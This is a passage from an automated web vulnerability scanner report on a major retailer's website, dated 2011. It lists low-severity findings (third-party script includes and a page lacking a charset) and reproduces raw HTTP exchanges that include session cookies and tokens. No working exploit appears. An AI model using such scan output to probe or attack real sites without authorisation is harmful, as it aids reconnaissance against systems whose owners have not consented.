<a href="/registry/baby/portal?ie=UTF8&ref=nav_targetbabylogo"><img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/gn_nav2_TB_top._V196249295_.gif" height="51" alt="Target Baby Registry" width="198" border="0"/></a>
...[SNIP]...
<button class="listSearchButton" type="submit" name="Submit" title="Search" value="Search">
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/buttons/gn_nav2_tb_search._V176009502_.gif" height="23" alt="search" width="63" border="0"/>
</button>
...[SNIP]...
<a href="/registry/wedding/portal?ie=UTF8&ref=nav_clubweddlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/gn_nav2_CW_top._V196247872_.gif" height="51" alt="Target Club Wedd Registry" width="198" border="0"/></a>
...[SNIP]...
<button class="listSearchButton" type="submit" name="Submit" value="Search" title="Search Club Wedd" >
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/buttons/gn_nav2_cw_search._V196247827_.gif" height="23" alt="search" width="63" border="0"/>
</button>
...[SNIP]...
<a href="/lists/portal?ie=UTF8&ref=nav_targetlistlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/targetList_top._V196247576_.gif" height="51" alt="Target Lists" width="198" border="0"/></a>
...[SNIP]...
<button type="submit" name="Submit" value="Search" title="Search" >
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/buttons/gn_nav2_tl_search._V196324124_.gif" height="23" alt="search" width="63" border="0"/>
</button>
...[SNIP]...
<div id="footer-6">


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V204864197_.js"></script>
...[SNIP]...

6. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


6.1. http://www.target.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:57 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=182-7354573-5604257; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: session-id-time=1314448138l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:28:58 GMT; Path=/
Content-Length: 80163


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">


<head
...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/build/browse-292290608._V195656260_.css" />


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/browse-1467276795._V172677881_.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://g-ecx.images-amazon.com/images/G/16/00/00/09/64/18/06/964180630.js"></script>
<script type="text/javascript" src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/18/95/61/1018956150.js"></script>
...[SNIP]...
<div id="footer-4">


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V204864197_.js"></script>
...[SNIP]...

6.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=179-5433158-9247368; session-id-time=1314448265l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843469027%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:22 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=185-5393115-9309767; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: session-id-time=1314448282l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:22 GMT; Path=/
Set-Cookie: session-token="pMs0GUQ5DsYUhcm8YJnE6PfYQIDZBgn6pJLfbmnhlVEFNsBTZciAWzWiWzPZFPhG41oXgjN1BeKwL2+klthwpdOYiG9lyv0cHTNgWYzYqu+XuzfXlFvExRuaPbBnlMorDjb0tu1fcTOc7IOoOWwOOxgKfiRuBxqV2Cy5oWr299erf7VXkaFjjA=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:22 GMT; Path=/
Content-Length: 143787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" media="print" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/build/print-2779342366._V169479811_.css" />


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/detail-752946200._V169478608_.js"></script>
...[SNIP]...
</script>
<script src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/19/14/64/1319146490._V169493064_.js" type="text/javascript" language="JavaScript"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<!--INSERT STANDARD PAGE TAG-->

<script src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V1_.js"></script>
...[SNIP]...

6.3. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=185-5393115-9309767; session-id-time=1314448281l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843485207%7D; fsr.a=1313843498085

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:40 GMT
Server: Server
x-amz-id-1: 1YVB6P9ATK2ZRCR8W5AE
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
x-amz-id-2: UPpBEapx4Lzp16jlRd1osHg7L0/nkQ6XZ1sc96Mn4NEGxfMs+CIa9g==
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/html; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 70918


<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="language"
...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>
...[SNIP]...
<!--INSERT STANDARD PAGE TAG-->

<script src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V1_.js"></script>
...[SNIP]...

6.4. http://www.target.com/s  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /s

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:06 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=179-5433158-9247368; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: session-id-time=1314448266l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:06 GMT; Path=/
Set-Cookie: session-token="UwJuk533+AV4O27KH2zyhuzdMH754Z7Ohf1wDR+schnx9402wInONDe2nfKuKFH5OYeqWE0YaVvdxFtUVMUmKGJsygetvrBjonyagcQypxTXmhVRgbe/NnsmBuoOlAKEpZ2868OquepKu1WEmtHNfEy3ifQcAZJz4oMA3aT9uHOQ5rT0AMaqSw=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:06 GMT; Path=/
Content-Length: 114757


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/search_leaf/quick_info-3779153160._V233167731_.css" />


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/results-52860592._V167984008_.js"></script>

<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/search_leaf_plugins-3308945144._V215046659_.js"></script>
...[SNIP]...
</script>
<script src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
<div id="footer-6">


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V204864197_.js"></script>
...[SNIP]...

7. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /iframe.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /iframe.html HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; fsr.a=1313843341888

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:59 GMT
Server: Server
Last-Modified: Fri, 14 Jan 2011 22:27:33 GMT
ETag: "195-f0bf5f40"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 405
Cneonction: close
Content-Type: text/html

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<!-- This page intentionally left blank -->
<title>Empty Frame</title>
<script type="text/javascript">
if(document.domain.match("amazon
...[SNIP]...

Report generated by XSS.CX at Sat Aug 20 06:39:47 GMT-06:00 2011.